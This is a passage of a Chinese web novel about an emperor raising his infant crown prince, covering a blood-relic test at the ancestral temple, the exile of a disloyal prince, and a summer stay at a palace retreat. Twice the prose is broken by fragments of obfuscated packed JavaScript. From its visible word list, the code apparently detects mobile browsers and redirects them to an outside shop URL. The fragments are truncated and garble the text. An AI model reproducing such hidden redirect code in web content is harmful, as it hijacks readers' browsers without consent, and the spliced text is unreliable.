小太子夜里闹完了白日里正好补觉,陛下却要上朝处理朝政之事,可不就被折腾得憔悴无比。 与之相反的是小太子,刚生下来长得快,再加上乳母们奶水充足,他自个儿又贪吃,被养得白白胖胖玉雪可爱。 这日,姬昊批完奏折后喝了一口茶水,靠着椅背长长地松了口气闭目养神。 下一刻,稚嫩的哼哼声响起。 姬昊睁开眼,果不其然看见御案侧的摇篮中有一双小脚已经举了起来。 像在同他说:本太子醒了。 姬昊坐正起身,弯腰将六六抱起来,刚睡醒的小太子顶着乱糟糟的头发正在揉眼睛。 今儿乳母给六六穿了一身藕粉色的衣裳,愈发衬得他乖巧可人。 不管姬昊有多疲累、有再多的脾气,在对上六六充满依赖的眼神时都会化作一滩水流走。 童兴走进来换上新茶,将奏折整理好后开口道:“陛下,德妃娘娘遣了宫女来问太子殿下满月宴,说是德妃娘娘想早做准备,免得匆忙间出了什么差错。” 虽说姬昊并不打算将这件事交由德妃去做,但德妃这样上心的态度让他很是满意,随手赏了几件宝物下去,又召见了国师和礼部尚书。 命国师测算良辰吉时,只等皇子满月,便敬告天地祖宗,正式册为太子。 太子乃是国之根本,姬昊将满月宴也交由礼部去安排,叮嘱务必要盛大。 礼部尚书将陛下吩咐的事情一一记下,临走前瞥了一眼陛下抱在怀中的小太子,深深一拜后退下。 ………… 满月宴当天,陛下携太子去宗庙给列祖列宗上香。从前姬昊年少轻狂时对这些牌位只是面上恭敬,却没有多少敬畏之心。 如今人至中年又得了爱子,方才感受到这些牌位后藏着的厚重过往,心中多了几分波澜。 或许百年后他也会成为供台上的一座,而他怀中幼子便似如今的他,为他供奉香火。 拜完祖宗,宗亲老王爷杵着拐杖颤颤巍巍走出来,将皇上领到了主殿一块墨色石头前。 姬昊向来愿意在这些小事上给宗室些脸面,再加上今儿是六六要紧的日子,他不愿平添波折,便问:“此为何意?” 老王爷介绍道:“陛下,此乃太祖皇帝偶尔所得的圣物,亲生父子将血滴在上面会显露神迹。” 听明白老王爷怀中的意思后,姬昊冷冷瞥过去一眼。 最初姬昊喜欢六六是因为他是金龙送子,无疑是在向全天下宣告:当今陛下是真龙天子。 如今日夜相处,更多了几分斩不断的父子之情。 他乃是天子,六六是天赐麒麟儿,这世上只有他们二人与众不同。天命便是他们的纽带,无需这破石头来验证什么。 再者,姬昊平生最厌恶的便是被人胁迫。 帝王之怒带来的压迫感让老王爷腿一软,‘扑通’一下跪在冰冷的石砖上。 惧怕归惧怕,老王爷却依旧坚持说道:“陛下!老臣死不足惜!可皇室血脉不容玷污,恳请陛下验之……” 话音刚落,宗室数位老东西都走了出来,纷纷跪下,齐声道:“恳请陛下验之。” 姬昊微皱起眉,许久未曾发作过的头疾在此刻又隐隐作痛,脑海中冒出数个暴虐的念头却又被他一一压下。 姬昊倒是想将这些碍眼的东西通通杀了了事,可转念一想,本就是些老得快入土的东西,今日死在这说不准刚好遂了他们心愿,踩着他心爱的太子留下一个直言劝谏的好名声。 姬昊怒极反笑,点头应道:“好,好哇,取银针来。” 童兴亲自去备取血的东西,暗卫们将门窗紧闭,只剩香案上的烛火落下一寸昏黄,莫名显得大殿有些阴森。 姬昊先将自己的血滴在圣物上,又示意乳母上前来,握住六六的手腕想刺破他手指。 哪怕在气头上,姬昊碰到六六柔嫩的肌肤时,先冒出的依旧是不忍。 昨夜后半夜宫中的昙花开了,姬昊抱着六六去赏花,这时候他睡得正香,毫无防备的样子让姬昊心中又是一酸。 他咬紧牙关,用银针戳了下六六的手指,再轻轻挤出血来,滴在那块圣物上。 六六被戳醒了,睁开眼,肉嘟嘟的脸上满是懵,片刻后才意识到自己手疼,小眉毛一皱就开始哇哇哭。 姬昊接过六六熟练哄着,直到听见惊呼声才往那圣物的方向看了一眼。 陛下忙着哄哭了的太子无心关注结果,可宗室里这些老王爷在太子殿下的血滴上去后却都将心提了起来。 那黑乎乎的石头最初只有血滴上去的亮出散发出浅浅光芒,随着时间流逝开始往对方那里流淌。两处光触碰的瞬间金光乍现,将整个大殿照得亮亮堂堂。 如此异像,就连六六都震惊的张大嘴巴忘了哭。 姬昊将皇儿搂得更紧了些,感受着他的温热,胸腔内的激动简直要溢出来。 这个小小的、柔软的皇儿,是如今这个世间唯一与他血脉相连之人。 宗室里那些老臣眼见血缘并未出错,纷纷跪下齐呼“太子千岁”,真心拜服。 祖宗牌位在上,姬昊将皇儿高高举起,朗声诵道:“吾儿不是凡胎生,金龙点化入凡尘。” 第一次被举高高的六六挥了挥手,原本大张着的嘴巴不知该不该嚎出来,到底还是新奇感占据上风,露出了个大大的笑。 等刺激完了,六六回到父皇怀里立刻续上了刚刚的哭,姬昊很是废了一番功夫才将他哄好。 回宫路上小太子很有精神,无意间抬手,发先自己手上好像有什么东西不大一样,想想啃了上去,又像喝奶一样嗦了一下。 虽说如今小太子连牙都没生,但力气却不小,成功将刚被银针扎过的地方给嗦疼了,身子猛地后仰,扁嘴又开始哭了起来。 “呜啊……呜呜哇啊!!” 姬昊亲眼见了全过程,奈何小孩手快,他想阻拦都来不及,听着六六啼哭既好气又觉他笨得好笑。 分明是自个儿弄疼的,却不管不顾哭了个痛快,到最后打个哭嗝往姬昊怀里一藏,只留一个圆溜溜的后脑勺在外头。 六六哼唧着哼唧着就这么睡了,姬昊搂着他,同童兴说:“古人诚不欺朕,养儿果真乐趣无穷也。” 祭拜完先祖后回宫还有诸多琐事,等忙完后姬昊好不容易回到紫宸殿想歇息片刻,一个太监又匆匆忙忙闯了进来。 他说:“陛下,礼老王爷穿着朝服求见陛下。” 姬昊闻言眸光一冷,礼老王爷就是在宗庙里叫得最欢的那个,今儿是皇儿满月的好日子他不想见血光,不曾想他竟主动送上来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554218|204403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陛下尚未说见或不见,又一个小太监进来禀告。 他说:“陛下,宁王也来求见。” 姬昊看了眼刚被哄睡的皇儿,伸了个懒腰后道:“罢了,让他们去书房候着。” 刚才小太子玩得太开心又吐了奶,有些吐在皇上身上,他换了身衣裳后才去书房。 隔着一段距离,姬昊就听见了宁王的声音。 宁王刻意压低了声音求道:“皇叔,我一时酒后失言,您就当可怜可怜侄儿,何必闹到陛下面前?” 礼老王爷抽出被宁王拉扯的袖子,拂了拂上面不存在的灰尘,回道:“本王岁数大了,听不清你在嘀咕些什么,有什么话,见了陛下的面再说罢!” 姬昊看了眼童兴,童兴会意,扬声道:“陛下驾到。” 姬昊从他们身侧路过,径直走到主位上落座。 礼老王爷颤颤巍巍跪下。 宁王身形一晃跪下行了个大礼,道:“臣有罪。” 姬昊倚着软枕,褪下腕上的佛珠一颗一颗数着,他抱了一天皇儿难得有了喘息的时候,倒也不急,慢悠悠地吩咐:“皇叔先说。” 事关重大,就算是在御前,宁王还是忍不住用手肘轻轻碰了下皇叔想求他留情。 礼老王爷恍若未觉,扬声道:“老臣要参奏宁王言行无状、不敬太子!” 闻言姬昊来了兴致,坐正了问:“哦?” 礼老王爷一五一十的交代了,前几日宁王登门拜访,话里话外都在说小皇子虽是金龙送子、皇室血脉却依旧不够纯净,若为太子,岂不是要改朝换代。 旁人会被‘金龙送子’的神迹震住,宗庙里这些迂腐老家伙却不会,他们一心一意只想维护姬氏的荣光,觉得宁王说的话在理。 可今日在宗庙中他们亲眼见到圣物显灵,上苍为陛下送来了一个身上流淌着姬氏血脉的皇子。 皇上立太子的诏书已下,见过列祖列宗,如今在诸位宗亲心中,小太子才是正统。 午后宁王依旧像从前那样说那些话,彻底惹怒了礼老王爷,换上朝服便来求见陛下,还将从前的事全都抖了出来。 话毕,礼老王爷又是一拜,道:“恳请陛下严惩!” 姬昊睥睨的眼神扫过去,仿佛瞬间抽去了宁王浑身的骨头,他瘫倒在地上用颤抖的声音说道:“陛下,臣绝无冒犯太子之意。” 童兴躬身走进来奉茶,轻声道:“陛下,快到小殿下睡醒的时辰了。” 姬昊拿起茶盖轻轻撇了撇茶沫,他的耐心已经告罄,依稀记得宁王幼子神童之名远扬,多次出现在大臣们请立太子的折子上。 姬昊起身背着手往外走,一边走一边吩咐道:“宁王以下犯上、意图谋反,着削去爵位,妻妾子女及亲近者皆流放岭南,永世不得回京。” 回紫宸殿的路上,姬昊又吩咐道:“童兴,从朕宝库中取一支百年山参,让人送到皇叔府上去。” 礼老王爷并不知晓,他今日险些丢掉的性命因皇上一念之差又捡了回来。 白日在宗庙里姬昊原本已经想好早晚要弄死那群老东西,可现在又改了主意。 虽然十分愚蠢迂腐,却也不是没有可取之处。 姬昊素来不喜那群老东西,自然也不需要他们的忠心。 若忠君,忠的应是储君。 銮驾行至御花园便已隐隐能听见孩童啼哭声,姬昊正欲细听时,六六仿佛也感受到了什么,哭得更响亮了些。 紫宸殿,伺候的乳母嬷嬷们看见陛下进来跪了一地,神色慌张。 小殿下醒了已经快有一炷香的时辰,乳母嬷嬷太监宫女轮番上阵,愣是没能将他从龙床上抱下来。 小太子年纪小小,却已很懂得雨露均沾的道理,给胆大凑上前想抱他的宫人每人都赏了一脚。 5. 第 5 章 姬昊知晓六六的脾性,抬手示意他们退下,走上前去在龙榻上坐下,想将六六抱起来。 小太子闹了半天已经闹出了脾气来,泪水模糊视线什么也看不清,干脆闭上眼哭哭蹬蹬。 这次脚踹上去后触感不大对,小太子哭声瞬间止住,脚还踩在姬昊手臂上,睁开泪眼想看看是怎么回事。 姬昊趁机将他抱起,拿帕子擦掉他脸上的泪,哄道:“父皇在呢。” 六六伸出双手,牢牢抱住父皇的胳膊呜呜哭着,仿佛要一次性将睡醒了不见父皇的委屈全都哭出来。 姬昊抱着六六在殿内踱步,轻拍他后背,偶尔应和一声。 原本姬昊以为六六大点应该会好带很多,谁成想越大认人就越厉害。从前还能让乳母和他用同样的香料熏衣糊弄这个小东西,如今他已会睁眼看了。 父皇宽大的手掌仿佛带着莫名的安全感,拍一拍六六的哭声就渐渐止住了,开始用大眼睛好奇地望向四周,小手还会指来指去。 宫灯上的剪影要看,屏风上的花样要看,悬挂的珠帘要看。 看累了用额头碰一碰爹爹,揉揉眼睛再接着看,咿咿呀呀说着旁人听不懂的话。 姬昊浑身戾气尽数被收敛,用温和慈祥的眼神望着幼子,仿佛整个人都平静了下来。 突然,六六发现举起手来地上会落下黑影,懵了片刻后忙往父皇怀里钻。 片刻后露出一只眼睛,再次挥手试探。 终于,小太子意识到了什么,小手挥个不停。 姬昊顺着皇儿的眼神望去,看着宫灯下活泼的影子,低头亲了亲六六的侧脸低笑。 六六不解其意,却也会跟着“咯咯”笑。 父慈子笑,紫宸殿内难得的岁月静好。 ………… 夏日炎炎,张牙舞爪的小太子也变得安静许多。 更准确一点来说,是小太子已经被热蔫了,就连哭都要用哼哼声替代糊弄。 幼儿本身就比大人怕热,再加上太医说小太子年幼不宜用太多冰,寒气入体恐会伤身。 哪怕陛下迁至清凉殿,一日十二个时辰皆有流水顺着屋檐而下从不间断,还有乳母在旁打扇,小太子睡一觉起来依旧像从水里刚捞出来一样。 六六想不明白,为什么喜欢的雨水现在淋在身上会变得难受,整日里闷闷不乐,连奶水都吃得少了。 皇室出了一件大事,礼老王爷最小的孙儿竟因暑热患病去了,那孩子才刚满周岁。 姬昊得知这件事时猛地意识到:原来暑热竟能要了幼儿性命,他立刻便下了命令去太平行宫避暑。 从皇宫到太平行宫很是有一段路程,帝王携太子出行,上上下下要打点的事情不少,德妃忙得脚不沾地。 陛下有多看重太子众人皆知,跟太子相关的人和事德妃都是亲力亲为,生怕出了什么差错落得跟贵妃一样的下场。 待到离宫前一日,诸事忙完,德妃倚在贵妃榻上终于能歇上片刻。 贴身婢女听雪走进来坐在脚踏上,一边给娘娘捶腿一边说道:“娘娘,刚才紫宸殿的人来了,说陛下特许老爷夫人同去太平行宫避暑呢。” 闻言德妃立刻坐正了身子,俯身握住听雪的手臂将她扶起来,问:“真的?” 听雪眼睛亮晶晶,点了点头回道:“奴婢哪敢欺瞒娘娘,此事千真万确,是小旺子亲自来递的话。” 德妃家世不显,按照规矩是够不上随銮驾去行宫的,特意提出来那就是陛下专门给的恩典。 德妃欢喜地不行,在屋里走来走去思索,短短几息就已经想明白了,脸上挂着笑往外走。 听雪忙追上去扶着,问:“娘娘?” “本宫突然想起来还有一事,太子乳母们惯用的那些厨子可带上了?这可是件要紧事,乳母们吃不好如何能有好奶水?不成,本宫要亲自去看一看才放心。”德妃道。 第二日,銮驾出行,后妃群臣宫人随侍。 姬昊顾及皇儿头次出远门,再加之奔波辛苦疲惫,便吩咐人备了冰盆。 从前不管多热冰盆也不会摆到小太子面前来,这是六六第一次亲眼看见这个稀罕东西。 冰盆里撒了些干药花,冰水沁透了,香味儿随着冒出的丝丝凉意散开,叫人心旷神怡。 姬昊替皇儿理了理衣裳,小太子在父皇腿上正襟危坐,认真盯着往外冒的冰气儿看。 六六现在还坐不稳,靠着父皇能小坐片刻。 看着模样乖乖的,实际上趁着父皇毫无防备之际伸出手,猛抓了一把冰气往嘴里塞。分明什么也没抓着,他却啃得认真。 姬昊耐心等皇儿啃累了撒开手,唤小旺子近前来伺候。 小旺子捧着湿帕子半跪,仔细替小殿下将手给擦得干干净净。 他伺候得周到,姬昊看在眼里,已经做好打算,只等太子大了,就将小旺子指到东宫伺候。 小太子收回手握成拳头闻一闻,确定没错后开心道:“嘤呀。” 姬昊每每想起这件事就觉得好笑,起初谁也不知道这小家伙平白无故在哭些什么。幸好李乳母观察仔细,猜测应是小殿下嫌弃自个儿手被啃过,帮他洗一洗便不哭了。 刚启程时六六觉得新鲜倒还好,可走着走着就开始在爹爹怀里扭来扭去。 幸得现在还小,姬昊还能抱得住。 姬昊忽而想起临行前德妃说过,她让工匠做了好些新鲜小玩意儿放在抽屉里,若是路途无聊,方便太子殿下随时取用。 姬昊随手拉开一个抽屉,里面放着一只大红色的布老虎,做工十分精巧。布老虎戴着的虎头帽瞧着像是用兔毛做的,毛绒绒格外可爱。 姬昊尚在犹豫,一只小手已经伸出来拿住布老虎,将其拽出去抱到了怀里,得意地“嘿嘿”笑。 如今小太子满了百天,再也不是那个会被布老虎吓哭的奶娃娃,已经敢将它搂在怀里睡觉了。 德妃行事确实妥帖,好玩的东西一样接着一样,将小太子哄得开开心心,路上没怎么闹过。 行宫这边早就得了消息,管事提早吩咐人将宫室都收拾了出来,陛下住在最宽敞的海晏院。 太平行宫依山傍水十分凉爽,就连山花都未落尽,风一吹便簌簌往下落,再随着湖水飘向远方。 小太子大了,被横抱会鲤鱼打挺抗议,喜欢视野好的竖抱,方便他四处张望。 比起富丽堂皇的皇宫,太平行宫要雅致许多。建造时请了数位大师亲自盯着,五步一景。 还未到海宴院呢,小太子就已经先看累了,歪着脑袋靠在爹爹怀里揉眼睛,这下倒是不闹着要竖抱了。 陛下人高马大,小太子在他怀中仿佛只有小小一坨。 许是因为路途遥远奔波劳累,到行宫的第一晚小太子睡得早,夜里只醒了一次喝奶。 反倒是姬昊辗转难眠,索性侧躺盯着熟睡后的皇儿看。 小太子躺在那双手举过头顶睡,乍一看倒是没有什么问题,可藏在被子下面的两条腿却张开伸得笔直。 在宫中时父子俩日日都在一处看不出来什么,如今换了个地方后姬昊才恍然间发现皇儿长大了许多。 一个奶团子,五官越来越明晰。 半晌后,小太子‘扩张领土’累了,转而将双腿举起来,举得高高。 乳母说这是在为来日翻身做准备。 姬昊伸出手想替皇儿理一理衣裳,手伸到六六脸侧时叫他闻着了熟悉的味道,六六蛮大方地歪着脑袋,把肉乎乎的脸蛋送到了父皇掌心。 这刹那间,姬昊心软成了一滩水,轻轻摸了摸,又凑过去跟他贴了贴脸。 第二日,姬昊睡醒时已经过了平日里起身的时辰,刚睁开眼便下意识想瞧一瞧六六。 小太子用双脚撑起薄被,正在专心玩手。 左手摸摸右手,右手再趁左手不注意将其一把捉住。 今早小太子睡醒后忽然发觉,日日都有的手竟是他自己的! 这一发现对于六六来说无比稀奇,他认真研究,一声不吭,就连殿内伺候的宫人都未曾发觉到小殿下已经醒了。 “六六。”姬昊唤道。 “喔?”六六先应了一声,再歪着脑袋看过去,开心蹬了蹬被子,招呼道,“呀~嘤呜啊~” 窗外响起清脆的鸟鸣,这是一个无事的清晨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姬昊抱起六六去外面园子里逛了逛,不管什么对六六来说都新鲜,他尤其爱听风吹过树梢时树叶摇晃的沙沙声,每次听到都会享受地摇头晃脑。 太平行宫不愧是避暑圣地,姬昊抱着皇儿逛了一圈连汗都没出一滴。 小太子乌黑的眼眸晶亮,不像宫中时那样暗淡无神。 眼见皇儿恢复了往日的活泼好动,姬昊一直悬着的心才算终于放了下来。 回到海宴院,乳母将逛累了的小太子抱去喂奶,姬昊抽空用了早膳后又到了批折子的时候。 御案一侧依旧放着摇篮,可小太子已满百天,不像从前那样牵着父皇衣角就安静乖巧,如今他已学会用力拉扯,将父皇的脑袋扯过来看他。 姬昊正在批阅奏折,手臂突然被人扯了扯,他随手写下‘阅’后,放下毛笔侧过身问:“怎的了?” 小太子成功将父皇扯过来,开心地咿咿呀呀。 “哦,应是想念父皇了。”姬昊自顾自下了结论,拿起手边的拨浪鼓逗他。 姬昊每批两三份奏折就要陪他的皇儿玩上一会儿,到后面小太子睡了,他批上三份后也照样放下笔,摸一摸六六的小手,又或是碰一碰六六的脸。 童兴进去送茶水时,看陛下面无表情扶额,良久后眉心微蹙,出去后知会了旁人几声。 海宴院里当值的宫人以为陛下是在为朝政之事烦心,大气都不敢喘。 殊不知,姬昊只是在想:是不是该给皇儿换个大些的摇篮了? 姬昊这样三心二意,折子自然没批上多少。趁着晌午六六午睡时,一口气将那些折子全给批了,忙完才在皇儿身边躺下闭目养神。 姬昊躺下不久耳边传来窸窸窣窣的声音,将眼睛睁开了一道缝隙。 只见原本仰躺着的小太子翻身大业已完成了一半。 姬昊佯装未醒。 小太子动起来没轻没重,迈过最难的前期,后面就干脆直接摔下去,发出了‘砰’一声。 姬昊身侧的手紧握成拳,直到小太子的“呜呜”声响起,他才按捺不住忙起身去探查。 小太子成功将自己翻了个面! 小小的一个人跪趴着,脸埋在软枕上,正得意地一扭一扭。 “呜嗯~嗯嗯嘤……” 6. 第 6 章 原来那声“呜呜”不是撞疼了,是小太子终于成功翻身后在夸自己。 听出六六婴言婴语里藏着的骄傲,姬昊心头的恐慌骤然散去,取而代之的是得意。 姬昊说:“吾儿会翻身了。” 殿内伺候的小旺子忙跪下道:“恭喜陛下、贺喜陛下,小殿下又长大了。” 姬昊轻轻拍了拍皇儿的屁股,赞许道:“说得好,当赏!还有院里这些人,赏一个月的月钱,伺候太子的赏两个月。” 陛下自个儿欢喜完了还不够,又让人唤来德妃说要设宴庆祝。 德妃听完皇上说的话后脸上笑容险些挂不住,设宴庆贺太子殿下会翻身?这可真是闻所未闻。 “是,妾这就去安排。” 说完后德妃朝皇上行了一礼,离开时往屋内看了一眼,隔着层层珠帘,高高在上的陛下正低声下气哄小殿下再翻一个。 六六抬头随便扭一扭意思两下,就把脑袋埋进了父皇怀里躲懒。 入夜,后妃朝臣们齐聚清凉台,本是私宴,规矩不严,多数人都在同自己相熟的好友说着小话。 一位大人说:“听闻陛下今日特意在此设宴庆贺,是为了庆祝太子殿下会翻身了。” 另一位大人附和道:“吾家子半岁才能翻身,太子殿下当真是与凡夫俗子不同。” “陛下驾到,太子殿下到。”童兴的声音响起。 众人纷纷起身行礼,坐在父皇手心的小太子挥了挥手示意他们平身。 大臣们大多数都没看懂这是什么意思,只有多见了太子几面的礼部尚书闭着眼道:“谢太子殿下。” 众人如梦初醒,齐声道:“谢太子殿下。” 姬昊抱着小太子在主位落座,桌上摆着各种美味佳肴,色香味俱全,香味直往六六鼻子里钻。 小太子哪见过这些,一双手伸直了想够到,奈何有些距离再加上胳膊太短,急得哇哇乱叫。 姬昊将六六的手按下,笑道:“还没到能吃这些的时候呢。” 小太子收回手自己揣着,一副他也没有很想吃的样子。 自从察觉到六六想去拿吃的后,姬昊注意力便一直落在他的身上。 小太子一双乌黑澄澈的大眼睛死死盯着炖肘子,一边啃手一边口水飞流直下三千尺。 姬昊忍了许久还是忍不住笑出声来,说:“你呀你呀……” 被笑话了的六六扭头埋到了爹爹怀里哼哼,那些口水全都蹭到了姬昊的龙袍上。 穿着脏污的衣裳赴宴实在不雅,姬昊索性抱着六六提前回了海宴院。 姬昊要去偏殿更衣,将六六递给乳母让她喂奶。 等姬昊换好衣裳走出来,看乳母面露难色,问道:“怎么了?” “回禀陛下,小殿下不愿吃奶水。”乳母说完后为了验证,伸手要解衣衫,小太子先一步握住了她的手,这抗拒的意图再明显不过。 姬昊将六六抱回去,说:“罢了,不喝便不喝,兴许是还不想喝。” 太医昨日来时说过,百日后厌奶是常事,不必过于忧虑。 再加上姬昊觉得这其中或许还有晚宴的原因在,这小家伙气性大,赌气不想喝也是有的。 天色不早,沐浴更衣后上了床榻,六六平躺在那里将脚高高举起再重重砸下。 姬昊躺在他身侧,哄道:“分明是庆祝我们六六翻身设的宴席,怎能不让我们六六吃上一吃呢?是不是?” 六六不砸床了,翻了个身趴在那仰起头看向爹爹,十分认可地回道:“呀,咿呀哇,嘤嘤嘤呜……” “唷,瞧把我们六六委屈成什么样了。”姬昊顺着六六的意说话。 六六用手背擦一擦还没有出来的眼泪,又往爹爹那边挪了挪。 姬昊摸摸他毛绒绒的脑袋,只觉得终于苦尽甘来。 已经过了前头最磨人的三个月,六六看起来已经有了几分人样。唤‘六六’时知道是在喊他,同他说话也会咿咿呀呀。 ………… 可惜姬昊并未欣慰太久,小太子的这份乖巧他只享受了几日。 小太子人渐长、脾气也渐大,稍有不顺心的地方他就要狠狠吼人。 姬昊抱他时力道稍微重了些要吼父皇,自个儿趴着睡时把胳膊压麻了要吼摇篮,乳母喂奶他不想喝要吼小旺子。就连门口吹了一阵热风进来,他都要对着那扇门吼上两嗓子。 小太子每次吼人都要用尽浑身力气,那声音能传得老远。 恰在此时,驻守西北的霍将军一封八百里加急送到太平行宫,西北蛮夷来犯,战事十分危急。 姬昊每日要接见的大臣有许多,一时之间有些顾不上六六,偏偏小太子又是一个要人全心全意陪着的,乳母和嬷嬷们都不合他意。 姬昊分身乏术,索性吩咐童兴将六六送到德妃那处去,让她好生照料。 德妃接到消息后,吩咐侍女太监将院子里里外外都打扫了一遍,又将殿内那些可能磕碰到的边边角角全都用棉布包了起来。 陛下有多爱重太子德妃看在眼里,若是可以的话,她真恨不得将这个小祖宗摆在供桌上供起来。 德妃这里做足了准备后,辰时三刻接到了人。 小太子今日穿着一身藕粉色的衣裳,他头发乌黑茂密、肤色雪白,生得十分漂亮。 第一次到晴雪院来,小太子正用那双乌黑澄澈的大眼睛好奇四处张望,眼珠子咕噜咕噜转。看来看去,最后视线才落在面前穿着宫装的女人身上。 四目相对,原本强挤出笑来的德妃倒真忍不住弯了弯唇,尝试朝小太子伸出手。 六六盯着德妃的步摇看了许久,他知道大人伸手就是想抱他,小胳膊一抬,示意自己愿意让她抱。 乳母将小殿下递给德妃娘娘,同来伺候的小旺子笑道:“奴才还是头次看见小殿下这样亲近除了陛下以外的人呢。” 虽说德妃明白小旺子这句话里带着些恭维的成分在,但不得不承认她听得十分舒坦。 德妃昨日专门请教了宫中的老嬷嬷,拿个枕头学到了子时,今儿真上手抱了小太子,发觉那枕头跟小孩子还是有些区别。 小太子被抱着时会伸手回抱,歪着脑袋看一眼步摇,再看一眼德妃。 被小太子这么认真瞧着,德妃忍不住弯了弯唇,一只手扶着小太子,另一只手取下步摇在他面前晃了晃。 六六眼睛几乎是在瞬间就亮了起来,他说:“呀!” 今日德妃穿着一身朱红色的宫装,听雪为她梳妆时选的步摇,坠着的珠子做成了石榴籽的样子,让六六倍感亲切。 小太子眉眼弯弯的模样让德妃心一软,平心而论,太子殿下长得是真像陛下,处处都像,德妃乍一看还以为这是小陛下。 太子殿下被乳母们照顾得好,肉乎乎的小脸毫无棱角,不像陛下那样威严。 将这样一个小殿下抱在怀中逗弄,德妃心中莫名有种冒犯君上的荒谬感。 六六抓着石榴籽玩了会儿,虽然还是舍不得撒开手,但已经开始看外面院子被风吹得晃来晃去的树枝不爽。 他张大嘴吼道:“啊——!” 小太子奶声奶气一声吼将德妃逗笑了,她扭头吩咐道:“让人把那根树枝扎起来,不许再晃了。” 听雪应道:“是。” 太监去院子里当着太子殿下的面将那树枝给捆起来,小太子勉为其难满意了,将脑袋扭向别处。 六六闹腾了几次后,德妃察觉到可能是小太子有什么地方不舒坦,吩咐人将院里的老嬷嬷请过来。 嬷嬷听完德妃娘娘的话后,再一看小殿下眼睛里已经蓄满了泪,思索着开口道:“兴许是要出牙了,小殿下难受呢。” 牙齿想往外钻,就算未曾露头牙床也会痒,小太子又不知道到底是什么地方不舒服,可不就遇到什么小事都要大发雷霆。 随后嬷嬷又说起在她老家,有用花椒木按摩牙床能缓解孩童啼哭的土方子。 德妃先吩咐听雪找侍卫砍两根花椒木来,又召见了太医问询。 太医说,医书古籍上曾有过类似记载,花椒木的确可缓解孩童出牙不适。 侍卫将花椒木削好,放进锅里煮沸后晒干,再送到德妃娘娘面前来。 侍卫将花椒木削成了个小平勺的形状,德妃拿着小心翼翼按着六六的牙床。 六六先始乖乖张嘴任由她按两下,随后趁德妃不注意狠狠咬了下去,用力到小鼻子都皱了起来。 德妃被太子殿下这突然的动作吓得花容失色,六六看见后“嘿嘿”笑,德妃借机将其拔了出来,问旁边的太医:“殿下这样咬可会有妨碍?” 太医摇了摇头答道:“无碍,这时候本就该咬些硬物。” 六六嘴巴一空,知道自己是笑早了,扁扁嘴抬起下巴看着德妃, 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六六也舍不得石榴籽步摇,他张开手攥住德妃的衣袖,奈何力气太小还是被李乳母抱了回去。 脾气大大的小太子立刻朝李乳母吼道:“啊——!” 德妃心头莫名涌出些酸涩来,她忍不住问:“童公公,明日可还会将小太子送来?” 童兴尚未回答,六六先应道:“呀!” “娘娘,这得看皇上的意思,奴才估摸着应当是会的。”童兴说。 西北战事棘手,霍将军在信上说军中恐有奸细,今日太子殿下不在,陛下盛怒之下摔了好几个茶盏。想来,陛下是不愿让小太子看见这些的。 德妃一路送他们到院门口,才停下脚步目送他们远去,直到再也看不见了才转身回屋,坐在软榻上盯着那个小木勺出神。 六六在晴雪院里玩得有些累了,被李乳母抱着走,回去的路上睡了一觉。 一到海宴院,六六立刻睁开眼,朝迎上来的爹爹伸出双手要抱。 今儿姬昊一整日都在处理西北战乱,听着大臣们的推脱之词,就连许久未曾犯过的头疾都又犯了,太医前脚才刚走。 姬昊搂着六六小小的身体,将头搁在他瘦弱的肩上,猛吸了一口他身上好闻的乳香味。 这么大个脑袋凑到面前来,六六需要将自己的手臂张到最大才勉强能抱住。 六六说:“呀哇。” 姬昊抬起头,又用鼻尖蹭了蹭他肉乎小脸,说:“父皇知道,六六也想父皇了是不是?” “啊呜嗯。”六六应道。 六六是扎根在姬昊身上长大的小石榴精,他敏感地感知到爹爹的疲惫,歪着脑袋往他身上靠。 父子俩玩了一盏茶的时辰,乳母给小太子沐浴更衣,换身干净里衣往龙榻上一放,连哄都不用,他自顾自就睡了。 姬昊在床榻边坐了片刻,确定六六真睡熟了,才去偏殿召见了小旺子,询问今天发生的事情。 一整日小旺子都跟在太子殿下身边,没有丝毫隐瞒,将他所见所闻全都说了出来。 姬昊听完后沉默片刻,回到寝殿让童兴上前掌灯,他坐在床榻上掰开六六的嘴仔细瞧了瞧。 微黄烛光照耀下,什么也看不出来。 姬昊起身又去偏殿召见了乳母和太医,确定让六六啃花椒木真能缓解出牙不适后才安心,吩咐童兴明日给德妃送些赏赐。 姬昊躺下后片刻,又忍不住去掰六六的嘴想再看看。 小孩长得实在是太快,一不留神就会错过许多。 姬昊这样掰来掰去,饶是他已经放轻了动作还是将六六给掰醒了。 六六睁开眼,眸光往下瞥,看到了戳在自己脸上的爹爹手指,再抬起头看向爹爹,委屈噘成了小鸭嘴。 “好好好,是爹爹不好呢。”姬昊低头认错。 睡得好好的突然被弄醒,六六困倦又委屈,不愿意再好好睡觉,扯着父皇的衣裳想爬。 姬昊看出了他的意思,将六六抱到自己身上来,让他趴在自己身上睡。 六六尚未满月时最喜欢这样,他睡得香甜,姬昊却压根儿不敢合眼。 姬昊感受着自己身上沉甸甸的重量,再看六六侧着脑袋被挤得凸出去一点的脸颊肉。 他的太子啊,就这么趴着趴着长大了。 7. 第 7 章 清晨,姬昊睁开眼时六六还没睡醒,他轻轻地将自己的手臂从六六怀里抽出来,又拿了只布老虎让他抱着。 安顿好六六后,姬昊才起身去偏殿更衣洗漱。随后去召见了几个大臣,暂时先商议出了一个章程来,恰好此时童兴进来禀告说小殿下醒了。 姬昊踏上长廊往回走时,童兴说:“陛下,您说的那样东西奴才已经从德妃娘娘那拿来了。” 今儿小太子还算赏脸,姬昊回到海宴院里时乳母们已经替他换好了衣裳,收拾得干净整洁。 姬昊抱着六六,小旺子捧着文盘上前,上面放着的正是昨日德妃吩咐人去做的小勺子。 姬昊将小勺子放进六六嘴里,替他轻轻按压来日要长出牙齿的地方。 